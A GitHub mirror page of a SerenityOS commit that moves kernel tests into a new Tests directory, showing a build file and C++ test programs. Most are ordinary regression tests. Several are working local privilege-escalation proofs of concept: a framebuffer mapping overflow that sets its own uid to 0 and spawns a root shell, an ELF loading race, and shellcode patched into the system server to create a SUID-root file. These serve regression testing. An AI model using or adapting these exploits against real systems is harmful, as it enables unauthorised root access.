1
Fork 0
mirror of https://github.com/RGBCube/serenity synced 2025-07-27 02:27:43 +00:00

Tests: Establish root Tests directory, move Userland/Tests there

With the goal of centralizing all tests in the system, this is a
first step to establish a Tests sub-tree. It will contain all of
the unit tests and test harnesses for the various components in the
system.
This commit is contained in:
Brian Gianforcaro 2021-05-06 01:14:50 -07:00 committed by Andreas Kling
parent 6e641fadfa
commit fd0dbd1ebf
49 changed files with 1 additions and 1 deletions

View file

@ -0,0 +1,24 @@
file(GLOB CMD_SOURCES CONFIGURE_DEPENDS "*.cpp")
file(GLOB LIBTEST_BASED_SOURCES "Test*.cpp")
list(REMOVE_ITEM CMD_SOURCES ${LIBTEST_BASED_SOURCES})
# FIXME: These tests do not use LibTest
foreach(CMD_SRC ${CMD_SOURCES})
get_filename_component(CMD_NAME ${CMD_SRC} NAME_WE)
add_executable(${CMD_NAME} ${CMD_SRC})
target_link_libraries(${CMD_NAME} LibCore)
install(TARGETS ${CMD_NAME} RUNTIME DESTINATION usr/Tests/Kernel)
endforeach()
foreach(TEST_SRC ${LIBTEST_BASED_SOURCES})
serenity_test(${TEST_SRC} Kernel)
endforeach()
target_link_libraries(elf-execve-mmap-race LibPthread)
target_link_libraries(kill-pidtid-confusion LibPthread)
target_link_libraries(nanosleep-race-outbuf-munmap LibPthread)
target_link_libraries(null-deref-close-during-select LibPthread)
target_link_libraries(null-deref-crash-during-pthread_join LibPthread)
target_link_libraries(uaf-close-while-blocked-in-read LibPthread)
target_link_libraries(pthread-cond-timedwait-example LibPthread)

View file

@ -0,0 +1,100 @@
/*
* Copyright (c) 2020-2021, the SerenityOS developers.
*
* SPDX-License-Identifier: BSD-2-Clause
*/
#include <AK/String.h>
#include <LibCore/File.h>
#include <LibTest/TestCase.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>
TEST_CASE(test_change_file_contents)
{
char path[] = "/tmp/suid.XXXXXX";
auto fd = mkstemp(path);
EXPECT(fd != -1);
ftruncate(fd, 0);
EXPECT(fchmod(fd, 06755) != -1);
char buffer[8] {};
write(fd, buffer, sizeof(buffer));
struct stat s;
EXPECT(fstat(fd, &s) != -1);
close(fd);
unlink(path);
EXPECT(!(s.st_mode & S_ISUID));
EXPECT(!(s.st_mode & S_ISGID));
}
TEST_CASE(test_change_file_ownership)
{
char path[] = "/tmp/suid.XXXXXX";
auto fd = mkstemp(path);
EXPECT(fd != -1);
ftruncate(fd, 0);
EXPECT(fchmod(fd, 06755) != -1);
fchown(fd, getuid(), getgid());
struct stat s;
EXPECT(fstat(fd, &s) != -1);
close(fd);
unlink(path);
EXPECT(!(s.st_mode & S_ISUID));
EXPECT(!(s.st_mode & S_ISGID));
}
TEST_CASE(test_change_file_permissions)
{
char path[] = "/tmp/suid.XXXXXX";
auto fd = mkstemp(path);
EXPECT(fd != -1);
ftruncate(fd, 0);
EXPECT(fchmod(fd, 06755) != -1);
fchmod(fd, 0755);
struct stat s;
EXPECT(fstat(fd, &s) != -1);
close(fd);
unlink(path);
EXPECT(!(s.st_mode & S_ISUID));
EXPECT(!(s.st_mode & S_ISGID));
}
TEST_CASE(test_change_file_location)
{
char path[] = "/tmp/suid.XXXXXX";
auto fd = mkstemp(path);
EXPECT(fd != -1);
ftruncate(fd, 0);
EXPECT(fchmod(fd, 06755) != -1);
auto suid_path = Core::File::read_link(String::formatted("/proc/{}/fd/{}", getpid(), fd));
EXPECT(suid_path.characters());
auto new_path = String::formatted("{}.renamed", suid_path);
rename(suid_path.characters(), new_path.characters());
struct stat s;
EXPECT(lstat(new_path.characters(), &s) != -1);
close(fd);
unlink(path);
// Renamed file should retain set-uid/set-gid permissions
EXPECT(s.st_mode & S_ISUID);
EXPECT(s.st_mode & S_ISGID);
unlink(new_path.characters());
}

View file

@ -0,0 +1,30 @@
/*
* Copyright (c) 2018-2021, the SerenityOS developers.
*
* SPDX-License-Identifier: BSD-2-Clause
*/
#include <LibTest/TestCase.h>
#include <unistd.h>
TEST_CASE(test_nonexistent_pledge)
{
auto res = pledge("testing123", "notthere");
if (res >= 0)
FAIL("Pledging on existent promises should fail.");
}
TEST_CASE(test_pledge_failures)
{
auto res = pledge("stdio unix rpath", "stdio");
if (res < 0)
FAIL("Initial pledge is expected to work.");
res = pledge("stdio unix", "stdio unix");
if (res >= 0)
FAIL("Additional execpromise \"unix\" should have failed");
res = pledge("stdio", "stdio");
if (res < 0)
FAIL("Reducing promises is expected to work.");
}

View file

@ -0,0 +1,55 @@
/*
* Copyright (c) 2020, the SerenityOS developers.
*
* SPDX-License-Identifier: BSD-2-Clause
*/
#include <LibTest/TestCase.h>
#include <unistd.h>
TEST_CASE(test_failures)
{
auto res = unveil("/etc", "r");
if (res < 0)
FAIL("unveil read only failed");
res = unveil("/etc", "w");
if (res >= 0)
FAIL("unveil write permitted after unveil read only");
res = unveil("/etc", "x");
if (res >= 0)
FAIL("unveil execute permitted after unveil read only");
res = unveil("/etc", "c");
if (res >= 0)
FAIL("unveil create permitted after unveil read only");
res = unveil("/tmp/doesnotexist", "c");
if (res < 0)
FAIL("unveil create on non-existent path failed");
res = unveil("/home", "b");
if (res < 0)
FAIL("unveil browse failed");
res = unveil("/home", "w");
if (res >= 0)
FAIL("unveil write permitted after unveil browse only");
res = unveil("/home", "x");
if (res >= 0)
FAIL("unveil execute permitted after unveil browse only");
res = unveil("/home", "c");
if (res >= 0)
FAIL("unveil create permitted after unveil browse only");
res = unveil(nullptr, nullptr);
if (res < 0)
FAIL("unveil state lock failed");
res = unveil("/bin", "w");
if (res >= 0)
FAIL("unveil permitted after unveil state locked");
}

View file

@ -0,0 +1,40 @@
/*
* Copyright (c) 2018-2020, the SerenityOS developers.
*
* SPDX-License-Identifier: BSD-2-Clause
*/
#include <AK/Assertions.h>
#include <stdio.h>
#include <string.h>
#include <sys/socket.h>
#include <unistd.h>
int main(int, char**)
{
constexpr const char* path = "/tmp/foo";
int rc = symlink("bar", path);
if (rc < 0) {
perror("symlink");
return 1;
}
int fd = socket(AF_UNIX, SOCK_STREAM, 0);
if (fd < 0) {
perror("socket");
return 1;
}
struct sockaddr_un addr;
memset(&addr, 0, sizeof(addr));
addr.sun_family = AF_UNIX;
VERIFY(strlcpy(addr.sun_path, path, sizeof(addr.sun_path)) < sizeof(addr.sun_path));
rc = bind(fd, (struct sockaddr*)(&addr), sizeof(addr));
if (rc < 0 && errno == EADDRINUSE) {
printf("PASS\n");
return 0;
}
return 1;
}

View file

@ -0,0 +1,98 @@
/*
* Copyright (c) 2018-2020, the SerenityOS developers.
*
* SPDX-License-Identifier: BSD-2-Clause
*/
#include <AK/Types.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <unistd.h>
int main()
{
int fd = open("/dev/fb0", O_RDWR);
if (fd < 0) {
perror("open");
return 1;
}
size_t width = 17825;
size_t height = 1000;
size_t pitch = width * 4;
size_t framebuffer_size_in_bytes = pitch * height * 2;
FBResolution original_resolution;
if (ioctl(fd, FB_IOCTL_GET_RESOLUTION, &original_resolution) < 0) {
perror("ioctl");
return 1;
}
FBResolution resolution;
resolution.width = width;
resolution.height = height;
resolution.pitch = pitch;
if (ioctl(fd, FB_IOCTL_SET_RESOLUTION, &resolution) < 0) {
perror("ioctl");
return 1;
}
auto* ptr = (u8*)mmap(nullptr, framebuffer_size_in_bytes, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_FILE, fd, 0);
if (ptr == MAP_FAILED) {
perror("mmap");
return 1;
}
printf("Success! Evil pointer: %p\n", ptr);
u8* base = &ptr[128 * MiB];
uintptr_t g_processes = *(uintptr_t*)&base[0x1b51c4];
printf("base = %p\n", base);
printf("g_processes = %p\n", (void*)g_processes);
auto get_ptr = [&](uintptr_t value) -> void* {
value -= 0xc0000000;
return (void*)&base[value];
};
struct ProcessList {
uintptr_t head;
uintptr_t tail;
};
struct Process {
// 32 next
// 40 pid
// 44 uid
u8 dummy[32];
uintptr_t next;
u8 dummy2[4];
pid_t pid;
uid_t uid;
};
ProcessList* process_list = (ProcessList*)get_ptr(g_processes);
Process* process = (Process*)get_ptr(process_list->head);
printf("{%p} PID: %d, UID: %d, next: %p\n", process, process->pid, process->uid, (void*)process->next);
if (process->pid == getpid()) {
printf("That's me! Let's become r00t!\n");
process->uid = 0;
}
if (ioctl(fd, FB_IOCTL_SET_RESOLUTION, &original_resolution) < 0) {
perror("ioctl");
return 1;
}
execl("/bin/sh", "sh", nullptr);
return 0;
}

View file

@ -0,0 +1,26 @@
/*
* Copyright (c) 2020, Ben Wiederhake <BenWiederhake.GitHub@gmx.de>
*
* SPDX-License-Identifier: BSD-2-Clause
*/
#include <assert.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(int, char**)
{
int rc = fcntl(0, -42);
if (rc != -1) {
printf("FAIL: rc was %d, instead of -1\n", rc);
return 1;
} else if (errno != EINVAL) {
printf("FAIL: errno was %d, instead of EINVAL=%d\n", errno, EINVAL);
return 1;
} else {
printf("PASS\n");
}
return 0;
}

View file

@ -0,0 +1,143 @@
/*
* Copyright (c) 2018-2020, the SerenityOS developers.
*
* SPDX-License-Identifier: BSD-2-Clause
*/
#include <AK/Types.h>
#include <elf.h>
#include <fcntl.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <unistd.h>
volatile bool hax = false;
int main()
{
char buffer[16384];
auto& header = *(Elf32_Ehdr*)buffer;
header.e_ident[EI_MAG0] = ELFMAG0;
header.e_ident[EI_MAG1] = ELFMAG1;
header.e_ident[EI_MAG2] = ELFMAG2;
header.e_ident[EI_MAG3] = ELFMAG3;
header.e_ident[EI_CLASS] = ELFCLASS32;
header.e_ident[EI_DATA] = ELFDATA2LSB;
header.e_ident[EI_VERSION] = EV_CURRENT;
header.e_ident[EI_OSABI] = ELFOSABI_SYSV;
header.e_ident[EI_ABIVERSION] = 0;
header.e_type = ET_EXEC;
header.e_version = EV_CURRENT;
header.e_ehsize = sizeof(Elf32_Ehdr);
header.e_machine = EM_386;
header.e_shentsize = sizeof(Elf32_Shdr);
header.e_phnum = 1;
header.e_phoff = 52;
header.e_phentsize = sizeof(Elf32_Phdr);
auto* ph = (Elf32_Phdr*)(&buffer[header.e_phoff]);
ph[0].p_vaddr = 0x20000000;
ph[0].p_type = PT_LOAD;
ph[0].p_filesz = sizeof(buffer);
ph[0].p_memsz = sizeof(buffer);
ph[0].p_flags = PF_R | PF_W;
ph[0].p_align = PAGE_SIZE;
header.e_shnum = 3;
header.e_shoff = 1024;
u32 secret_address = 0x00184658;
auto* sh = (Elf32_Shdr*)(&buffer[header.e_shoff]);
sh[0].sh_type = SHT_SYMTAB;
sh[0].sh_offset = 2048;
sh[0].sh_entsize = sizeof(Elf32_Sym);
sh[0].sh_size = 1 * sizeof(Elf32_Sym);
sh[1].sh_type = SHT_STRTAB;
sh[1].sh_offset = secret_address - 0x01001000;
sh[1].sh_entsize = 0;
sh[1].sh_size = 1024;
sh[2].sh_type = SHT_STRTAB;
sh[2].sh_offset = 4096;
sh[2].sh_entsize = 0;
sh[2].sh_size = 1024;
header.e_shstrndx = 2;
auto* sym = (Elf32_Sym*)(&buffer[2048]);
sym[0].st_value = 0;
sym[0].st_name = 0;
header.e_entry = 0;
char path[] = "/tmp/x.XXXXXX";
auto fd = mkstemp(path);
if (fd < 0) {
perror("mkstemp");
return 1;
}
if (fchmod(fd, 0777) < 0) {
perror("chmod");
return 1;
}
int nwritten = write(fd, buffer, sizeof(buffer));
if (nwritten < 0) {
perror("write");
return 1;
}
sync();
auto* mapped = (u8*)mmap(nullptr, sizeof(buffer), PROT_READ | PROT_WRITE, MAP_FILE | MAP_SHARED, fd, 0);
if (mapped == MAP_FAILED) {
perror("mmap");
return 1;
}
auto* writable_program_headers = (Elf32_Phdr*)(&mapped[header.e_phoff]);
pthread_attr_t attrs;
pthread_attr_init(&attrs);
sched_param high_prio { 99 };
pthread_attr_setschedparam(&attrs, &high_prio);
pthread_t t;
pthread_create(
&t, &attrs, [](void* ctx) -> void* {
auto& ph = *(volatile Elf32_Phdr*)ctx;
for (;;) {
if (!hax)
ph.p_offset = 0x60000000;
else
ph.p_offset = 0;
hax = !hax;
usleep(1);
}
return nullptr;
},
&writable_program_headers[0]);
for (;;) {
if (!fork()) {
try_again:
printf("exec\n");
execl(path, "x", nullptr);
goto try_again;
}
printf("waitpid\n");
waitpid(-1, nullptr, 0);
}
return 0;
}

View file

@ -0,0 +1,115 @@
/*
* Copyright (c) 2018-2020, the SerenityOS developers.
*
* SPDX-License-Identifier: BSD-2-Clause
*/
#include <AK/Types.h>
#include <elf.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
asm("haxcode:\n"
"1: jmp 1b\n"
"haxcode_end:\n");
extern "C" void haxcode();
extern "C" void haxcode_end();
#pragma GCC diagnostic ignored "-Wdeprecated-declarations"
int main()
{
char buffer[16384];
auto& header = *(Elf32_Ehdr*)buffer;
header.e_ident[EI_MAG0] = ELFMAG0;
header.e_ident[EI_MAG1] = ELFMAG1;
header.e_ident[EI_MAG2] = ELFMAG2;
header.e_ident[EI_MAG3] = ELFMAG3;
header.e_ident[EI_CLASS] = ELFCLASS32;
header.e_ident[EI_DATA] = ELFDATA2LSB;
header.e_ident[EI_VERSION] = EV_CURRENT;
header.e_ident[EI_OSABI] = ELFOSABI_SYSV;
header.e_ident[EI_ABIVERSION] = 0;
header.e_type = ET_EXEC;
header.e_version = EV_CURRENT;
header.e_ehsize = sizeof(Elf32_Ehdr);
header.e_machine = EM_386;
header.e_shentsize = sizeof(Elf32_Shdr);
header.e_phnum = 1;
header.e_phoff = 52;
header.e_phentsize = sizeof(Elf32_Phdr);
auto* ph = (Elf32_Phdr*)(&buffer[header.e_phoff]);
ph[0].p_vaddr = 0x20000000;
ph[0].p_type = PT_LOAD;
ph[0].p_filesz = sizeof(buffer);
ph[0].p_memsz = sizeof(buffer);
ph[0].p_flags = PF_R | PF_X;
ph[0].p_align = PAGE_SIZE;
header.e_shnum = 3;
header.e_shoff = 1024;
u32 secret_address = 0x00184658;
auto* sh = (Elf32_Shdr*)(&buffer[header.e_shoff]);
sh[0].sh_type = SHT_SYMTAB;
sh[0].sh_offset = 2048;
sh[0].sh_entsize = sizeof(Elf32_Sym);
sh[0].sh_size = 2 * sizeof(Elf32_Sym);
sh[1].sh_type = SHT_STRTAB;
sh[1].sh_offset = secret_address - 0x01001000;
sh[1].sh_entsize = 0;
sh[1].sh_size = 1024;
sh[2].sh_type = SHT_STRTAB;
sh[2].sh_offset = 4096;
sh[2].sh_entsize = 0;
sh[2].sh_size = 1024;
header.e_shstrndx = 2;
auto* sym = (Elf32_Sym*)(&buffer[2048]);
sym[0].st_value = 0x20002000;
sym[0].st_name = 0;
sym[1].st_value = 0x30000000;
sym[1].st_name = 0;
auto* strtab = (char*)&buffer[3072];
strcpy(strtab, "sneaky!");
auto* shstrtab = (char*)&buffer[4096];
strcpy(shstrtab, ".strtab");
auto* code = &buffer[8192];
size_t haxcode_size = (uintptr_t)haxcode_end - (uintptr_t)haxcode;
printf("memcpy(%p, %p, %zu)\n", code, haxcode, haxcode_size);
memcpy(code, (void*)haxcode, haxcode_size);
header.e_entry = 0x20000000 + 8192;
int fd = open("x", O_RDWR | O_CREAT, 0777);
if (fd < 0) {
perror("open");
return 1;
}
auto nwritten = write(fd, buffer, sizeof(buffer));
if (nwritten < 0) {
perror("write");
return 1;
}
if (execl("/home/anon/x", "x", nullptr) < 0) {
perror("execl");
return 1;
}
return 0;
}

View file

@ -0,0 +1,167 @@
/*
* Copyright (c) 2021, Ben Wiederhake <BenWiederhake.GitHub@gmx.de>
*
* SPDX-License-Identifier: BSD-2-Clause
*/
#include <AK/Format.h>
#include <AK/String.h>
#include <AK/StringBuilder.h>
#include <AK/Vector.h>
#include <errno.h>
#include <mman.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <syscall.h>
static bool is_deadly_syscall(int fn)
{
return fn == SC_exit || fn == SC_fork || fn == SC_sigreturn || fn == SC_exit_thread;
}
static bool is_unfuzzable_syscall(int fn)
{
return fn == SC_dump_backtrace || fn == SC_munmap || fn == SC_kill || fn == SC_killpg;
}
static bool is_nosys_syscall(int fn)
{
return fn == SC_futex || fn == SC_emuctl;
}
static bool is_bad_idea(int fn, const size_t* direct_sc_args, const size_t* fake_sc_params, const char* some_string)
{
switch (fn) {
case SC_mprotect:
// This would mess with future tests or crash the fuzzer.
return direct_sc_args[0] == (size_t)fake_sc_params || direct_sc_args[0] == (size_t)some_string;
case SC_read:
case SC_readv:
// FIXME: Known bug: https://github.com/SerenityOS/serenity/issues/5328
return direct_sc_args[0] == 1;
case SC_write:
case SC_writev:
// FIXME: Known bug: https://github.com/SerenityOS/serenity/issues/5328
return direct_sc_args[0] == 0;
case SC_pledge:
// Equivalent to pledge(nullptr, _), which would kill the fuzzer.
return direct_sc_args[0] == (size_t)fake_sc_params && fake_sc_params[1] == 0;
default:
return false;
}
}
static void do_systematic_tests()
{
int rc;
for (int i = 0; i < Syscall::Function::__Count; ++i) {
dbgln("Testing syscall #{} ({})", i, Syscall::to_string((Syscall::Function)i));
if (is_deadly_syscall(i)) {
dbgln("(skipping deadly syscall)");
continue;
}
// This is pure torture
rc = syscall(Syscall::Function(i), 0xc0000001, 0xc0000002, 0xc0000003);
VERIFY(rc != -ENOSYS || is_nosys_syscall(i));
}
// Finally, test invalid syscalls:
dbgln("Testing syscall #{} (n+1)", (int)Syscall::Function::__Count);
rc = syscall(Syscall::Function::__Count, 0xc0000001, 0xc0000002, 0xc0000003);
VERIFY(rc == -ENOSYS);
dbgln("Testing syscall #-1");
rc = syscall(Syscall::Function(-1), 0xc0000001, 0xc0000002, 0xc0000003);
VERIFY(rc == -ENOSYS);
}
static void randomize_from(size_t* buffer, size_t len, const Vector<size_t>& values)
{
for (size_t i = 0; i < len; ++i) {
buffer[i] = values[arc4random_uniform(values.size())];
}
}
// The largest SC_*_params struct is SC_mmap_params with 36 bytes.
static_assert(sizeof(size_t) == 4, "Cannot handle size_t != 4 bytes");
static const size_t fake_params_count = 36 / sizeof(size_t);
static void do_weird_call(size_t attempt, int syscall_fn, size_t arg1, size_t arg2, size_t arg3, size_t* fake_params)
{
// Report to dbg what we're about to do, in case it's interesting:
StringBuilder builder;
builder.appendff("#{}: Calling {}({:p}, {:p}, {:p}) with {:p} containing [",
attempt, Syscall::to_string((Syscall::Function)syscall_fn), arg1, arg2, arg3, fake_params);
for (size_t i = 0; i < fake_params_count; ++i) {
if (i != 0)
builder.append(", ");
builder.appendff("{:p}", fake_params[i]);
}
builder.append("]");
dbgln("{}", builder.build());
// Actually do the syscall ('fake_params' is passed indirectly, if any of arg1, arg2, or arg3 point to it.
int rc = syscall(Syscall::Function(syscall_fn), arg1, arg2, arg3);
VERIFY(rc != -ENOSYS || is_nosys_syscall(syscall_fn));
}
static void do_random_tests()
{
// Make it less likely to kill ourselves due to sys$alarm(1):
{
struct sigaction act_ignore = { { SIG_IGN }, 0, 0 };
int rc = sigaction(SIGALRM, &act_ignore, nullptr);
VERIFY(rc == 0);
}
// Note that we will also make lots of syscalls for randomness and debugging.
const size_t fuzz_syscall_count = 10000;
size_t direct_sc_args[3] = { 0 };
// Isolate to a separate region to make corruption less likely, because we will write to it:
auto* fake_sc_params = reinterpret_cast<size_t*>(mmap(nullptr, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANON | MAP_RANDOMIZED, 0, 0));
const char* some_string = "Hello, world!";
Vector<size_t> interesting_values = {
0,
1,
reinterpret_cast<size_t>(some_string),
strlen(some_string),
reinterpret_cast<size_t>(fake_sc_params),
0xc0000000,
0xc0000000 - PAGE_SIZE,
0xffffffff,
};
dbgln("Doing a few random syscalls with:");
for (unsigned long& interesting_value : interesting_values) {
dbgln(" {0} ({0:p})", interesting_value);
}
for (size_t i = 0; i < fuzz_syscall_count; ++i) {
// Construct a nice syscall:
int syscall_fn = arc4random_uniform(Syscall::Function::__Count);
randomize_from(direct_sc_args, array_size(direct_sc_args), interesting_values);
randomize_from(fake_sc_params, fake_params_count, interesting_values);
if (is_deadly_syscall(syscall_fn)
|| is_unfuzzable_syscall(syscall_fn)
|| is_bad_idea(syscall_fn, direct_sc_args, fake_sc_params, some_string)) {
// Retry, and don't count towards syscall limit.
--i;
continue;
}
do_weird_call(i, syscall_fn, direct_sc_args[0], direct_sc_args[1], direct_sc_args[2], fake_sc_params);
}
}
int main()
{
do_systematic_tests();
do_random_tests();
// If the Kernel survived, pass.
printf("PASS\n");
return 0;
}

View file

@ -0,0 +1,149 @@
/*
* Copyright (c) 2020, Ben Wiederhake <BenWiederhake.GitHub@gmx.de>
*
* SPDX-License-Identifier: BSD-2-Clause
*/
#include <AK/Assertions.h>
#include <AK/Format.h>
#include <LibPthread/pthread.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
/*
* Bug:
* If the main thread of a process is no longer alive, it cannot receive
* signals anymore. This can manifest as, for example, an unkillable process.
*
* So what needs to happen:
* - There is process P
* - It has more than one thread
* - The main thread calls thread_exit(), leaving the rest of the threads alive
* - Now the process is unkillable!
*
* Here's how to demonstrate the bug:
* - Time 0: PX forks into PZ (mnemonic: Zombie)
* - Time 1: PZ's main thread T1 creates a new thread T2
* - Time 2: Nothing (T2 could communicate to PX both process and thread ID)
* (most LibC functions crash currently, which is a different bug I suppose.)
* - Time 3: T1 calls thread_exit()
* - Time 4:
* * PX tries to kill PZ (should work, but doesn't)
* * PX tries to kill PZ using T2's thread ID (shouldn't work, and doesn't)
* * PX outputs all results.
*/
static constexpr useconds_t STEP_SIZE = 1100000;
static void fork_into(void(fn)())
{
const pid_t rc = fork();
if (rc < 0) {
perror("fork");
exit(1);
}
if (rc > 0) {
return;
}
fn();
dbgln("child finished (?)");
exit(1);
}
static void thread_into(void* (*fn)(void*))
{
pthread_t tid;
const int rc = pthread_create(&tid, nullptr, fn, nullptr);
if (rc < 0) {
perror("pthread_create");
exit(1);
}
}
static void sleep_steps(useconds_t steps)
{
const int rc = usleep(steps * STEP_SIZE);
if (rc < 0) {
perror("usleep");
VERIFY_NOT_REACHED();
}
}
static bool try_kill(pid_t kill_id)
{
int rc = kill(kill_id, SIGTERM);
perror("kill");
printf("kill rc: %d\n", rc);
return rc >= 0;
}
static void run_pz();
static void* run_pz_t2_wrap(void* fd_ptr);
static void run_pz_t2();
int main(int, char**)
{
// This entire function is the entirety of process PX.
// Time 0: PX forks into PZ (mnemonic: Zombie)
dbgln("PX forks into PZ");
fork_into(run_pz);
sleep_steps(4);
// Time 4:
dbgln("Let's hope everything went fine!");
pid_t guessed_pid = getpid() + 1;
pid_t guessed_tid = guessed_pid + 1;
printf("About to kill PID %d, TID %d.\n", guessed_pid, guessed_tid);
if (try_kill(guessed_tid)) {
printf("FAIL, could kill a thread\n");
exit(1);
}
if (!try_kill(guessed_pid)) {
printf("FAIL, could not kill the process\n");
exit(1);
}
printf("PASS\n");
return 0;
}
static void run_pz()
{
// Time 0: PX forks into PZ (mnemonic: Zombie)
sleep_steps(1);
// Time 1: PZ's main thread T1 creates a new thread T2
dbgln("PZ calls pthread_create");
thread_into(run_pz_t2_wrap);
sleep_steps(2);
// Time 3: T1 calls thread_exit()
dbgln("PZ(T1) calls thread_exit");
pthread_exit(nullptr);
VERIFY_NOT_REACHED();
}
static void* run_pz_t2_wrap(void*)
{
run_pz_t2();
exit(1);
}
static void run_pz_t2()
{
// Time 1: PZ's main thread T1 creates a new thread T2
sleep_steps(1);
// Time 2: Nothing
// FIXME: For some reason, both printf() and dbg() crash.
// This also prevents us from using a pipe to communicate to PX both process and thread ID
// dbgln("T2: I'm alive and well.");
sleep_steps(18);
// Time 20: Cleanup
printf("PZ(T2) dies from boredom.\n");
exit(0);
}

View file

@ -0,0 +1,76 @@
/*
* Copyright (c) 2018-2020, the SerenityOS developers.
*
* SPDX-License-Identifier: BSD-2-Clause
*/
#include <AK/Types.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <sys/mman.h>
#include <unistd.h>
int main()
{
int fd = open("/bin/SystemServer", O_RDONLY);
if (fd < 0) {
perror("open");
return 1;
}
u8* ptr = (u8*)mmap(nullptr, 16384, PROT_READ, MAP_FILE | MAP_SHARED, fd, 0);
if (ptr == MAP_FAILED) {
perror("mmap");
return 1;
}
if (mprotect(ptr, 16384, PROT_READ | PROT_WRITE) < 0) {
perror("mprotect");
return 1;
}
/*
*
* This payload replaces the start of sigchld_handler in the /bin/SystemServer file.
* It does two things:
*
* chown ("/home/anon/own", 0, 0);
* chmod ("/home/anon/own", 04755);
*
* In other words, it turns "/home/anon/own" into a SUID-root executable! :^)
*
*/
#if 0
[bits 32]
[org 0x0804b111]
jmp $+17
path:
db "/home/anon/own", 0
mov eax, 79
mov edx, path
mov ecx, 0
mov ebx, 0
int 0x82
mov eax, 67
mov edx, path
mov ecx, 15
mov ebx, 2541
int 0x82
ret
#endif
const u8 payload[] = {
0xeb, 0x0f, 0x2f, 0x68, 0x6f, 0x6d, 0x65, 0x2f, 0x61, 0x6e, 0x6f,
0x6e, 0x2f, 0x6f, 0x77, 0x6e, 0x00, 0xb8, 0x4f, 0x00, 0x00, 0x00,
0xba, 0x13, 0xb1, 0x04, 0x08, 0xb9, 0x00, 0x00, 0x00, 0x00, 0xbb,
0x00, 0x00, 0x00, 0x00, 0xcd, 0x82, 0xb8, 0x43, 0x00, 0x00, 0x00,
0xba, 0x13, 0xb1, 0x04, 0x08, 0xb9, 0x0f, 0x00, 0x00, 0x00, 0xbb,
0xed, 0x09, 0x00, 0x00, 0xcd, 0x82, 0xc3
};
memcpy(&ptr[0x3111], payload, sizeof(payload));
printf("ok\n");
return 0;
}

View file

@ -0,0 +1,106 @@
/*
* Copyright (c) 2021, the SerenityOS developers.
*
* SPDX-License-Identifier: BSD-2-Clause
*/
#include <AK/Types.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <sys/mman.h>
#include <unistd.h>
int main()
{
{
printf("Testing full unnmap\n");
auto* map1 = mmap(nullptr, 2 * PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE | MAP_FIXED, 0, 0);
if (map1 == MAP_FAILED) {
perror("mmap 1");
return 1;
}
auto* map2 = mmap((void*)((FlatPtr)map1 + 2 * PAGE_SIZE), 2 * PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE | MAP_FIXED, 0, 0);
if (map2 == MAP_FAILED) {
perror("mmap 2");
return 1;
}
((u32*)map1)[0] = 0x41414141;
((u32*)map1)[PAGE_SIZE / sizeof(u32)] = 0x42424242;
((u32*)map2)[0] = 0xbeefbeef;
((u32*)map2)[PAGE_SIZE / sizeof(u32)] = 0xc0dec0de;
if (((u32*)map1)[0] != 0x41414141 || ((u32*)map1)[PAGE_SIZE / sizeof(u32)] != 0x42424242
|| ((u32*)map2)[0] != 0xbeefbeef || ((u32*)map2)[PAGE_SIZE / sizeof(u32)] != 0xc0dec0de) {
perror("write");
return 1;
}
int res = munmap(map1, 4 * PAGE_SIZE);
if (res < 0) {
perror("unmap");
return 1;
}
}
{
printf("Testing partial unmapping\n");
auto* map1 = mmap(nullptr, 2 * PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE | MAP_FIXED, 0, 0);
if (map1 == MAP_FAILED) {
perror("mmap 1");
return 1;
}
auto* map2 = mmap((void*)((FlatPtr)map1 + 2 * PAGE_SIZE), 2 * PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE | MAP_FIXED, 0, 0);
if (map2 == MAP_FAILED) {
perror("mmap 2");
return 1;
}
((u32*)map1)[0] = 0x41414141;
((u32*)map1)[PAGE_SIZE / sizeof(u32)] = 0x42424242;
((u32*)map2)[0] = 0xbeefbeef;
((u32*)map2)[PAGE_SIZE / sizeof(u32)] = 0xc0dec0de;
if (((u32*)map1)[0] != 0x41414141 || ((u32*)map1)[PAGE_SIZE / sizeof(u32)] != 0x42424242
|| ((u32*)map2)[0] != 0xbeefbeef || ((u32*)map2)[PAGE_SIZE / sizeof(u32)] != 0xc0dec0de) {
perror("write");
return 1;
}
int res = munmap((void*)((FlatPtr)map1 + PAGE_SIZE), 2 * PAGE_SIZE);
if (res < 0) {
perror("unmap");
return 1;
}
auto* map3 = mmap((void*)((FlatPtr)map1 + PAGE_SIZE), PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE | MAP_FIXED, 0, 0);
if (map3 == MAP_FAILED) {
perror("remap 1");
return 1;
}
auto* map4 = mmap(map2, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE | MAP_FIXED, 0, 0);
if (map4 == MAP_FAILED) {
perror("remap 2");
return 1;
}
((u32*)map3)[0] = 0x13371337;
((u32*)map4)[0] = 0x1b1b1b1b;
if (((u32*)map1)[0] != 0x41414141 || ((u32*)map2)[PAGE_SIZE / sizeof(u32)] != 0xc0dec0de
|| ((u32*)map3)[0] != 0x13371337 || ((u32*)map4)[0] != 0x1b1b1b1b
|| ((u32*)map1)[PAGE_SIZE / sizeof(int)] != ((u32*)map3)[0] || ((u32*)map2)[0] != ((u32*)map4)[0]) {
perror("read at old map and write at remap");
return 1;
}
res = munmap(map1, PAGE_SIZE * 4);
if (res < 0) {
